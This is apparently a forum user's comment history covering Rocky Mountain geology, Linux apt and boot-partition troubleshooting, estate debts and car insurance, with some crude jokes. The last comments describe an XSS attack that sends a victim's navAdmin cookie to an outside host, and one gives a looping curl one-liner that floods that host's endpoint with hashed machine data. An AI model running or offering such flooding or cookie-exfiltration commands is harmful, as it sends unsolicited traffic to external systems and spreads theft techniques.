Gellis12

https://en.wikipedia.org/wiki/Category:Volcanoes_of_the_Rocky_Mountains

https://en.wikipedia.org/wiki/Geology_of_the_Rocky_Mountains#Terranes_and_subduction

There currently aren’t any active volcanoes in the Canadian Rockies, but there is still magma towards the base of them that we’d run into if we tried to bore tunnels straight through. In theory, we could bore tunnels at a sharp incline to go over the magma; but that basically eliminates all the benefit vs just building rail lines on the surface like we already have, plus there’s the added complexity of trying to make an earthquake-safe tunnel that crosses a fault line.

CN already runs those, and from what I’ve heard they are indeed nice!

Not just expensive, downright impossible. The Rockies are volcanic, so boring a level tunnel through the base of the mountains is out of the question. They’re also very steep, which necessitates a lot of switchbacks, sharp curves, and even a pair of spiral tunnels at Kicking Horse Pass. We can and do run normal trains through these lines, but the geography severely limits how fast we can move through the terrain.

Ok, there’s the problem. Your boot partition is pretty much full. You’re using partitions instead of lvm, so expanding the partition will be next to impossible; so start looking through /boot for stuff that’s safe to delete. It’s weird that you have so much stuff in there, I don’t think I’ve ever seen my boot partition go above 250mb used.

zstd: error 25 : Write error : No space left on device (cannot write compressed block)

What’s the output of df -H?

Also, this sounds like it’s installing initramfs, which is normally only done when first installing the OS; can we get a list of the packages it’s trying to install/upgrade?

https://lemmy.ca/comment/1976398

Auto update itself isn’t the root problem. The problem is that apt update is hanging and never finishing. It just happens to be getting called automatically as part of an auto update system, but the root issue would still persist even if OP disables auto updates.

When apt update fails to complete, it’s almost always because of a broken repo somewhere; hence my question about sources.list.

I’d leave the main sources.list alone, but temporarily move all of the files out of sources.list.d and see if that fixes it.

What if walking into the redwood forest is what causes your death? You would’ve lived if you stayed home and played video games instead of going into the forest and getting mauled by a bear

Your estate refers to everything you own. If you own a car, it’ll be sold to cover your debts when you die. Same with your house, all of the food in it, your computer with all of your porn tabs still open, and even your signed vhs collection of rare midget scat porn from the 1990s. It all gets sold off to settle your debts when you die, before it can be distributed to your next of kin.

Definitely sounds like auto-update if it’s respawning itself on every boot. The fact that it never exits is weird though; have you added any third party repos? What’s in your apt sources.list file(s)?

Your debts cannot be transferred to your next of kin when you die, but they will need to be paid out from your estate before it’s disbursed to your family

Vandalism would normally be covered by comprehensive coverage, and won’t affect your premiums; you’ll just have to pay a deductible. If you tried to do it yourself, you’d never get the paint to match quite right, so you’re better off taking it to an auto body shop to have it professionally repaired.

All I see is hunter2

Sorry, I sneezed

Oh weird, it wasn’t returning anything a few minutes ago. I wonder if we pissed then off lol

It’s essentially to add a unique salt to each machine that’s doing this, otherwise they’d all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it’s very unlikely they’d even try to crack one. But even if they did try and were successful, there isn’t really anything nefarious they can do with your machines local name.

Here’s a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It’ll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

The encoded strings are https://zelensky(dot)zip/save/ and navAdmin

Not just that, it looks for a navAdmin cookie in your browser and sends that to zelensky(dot)zip/save/<your cookie here> in the form of a GET request.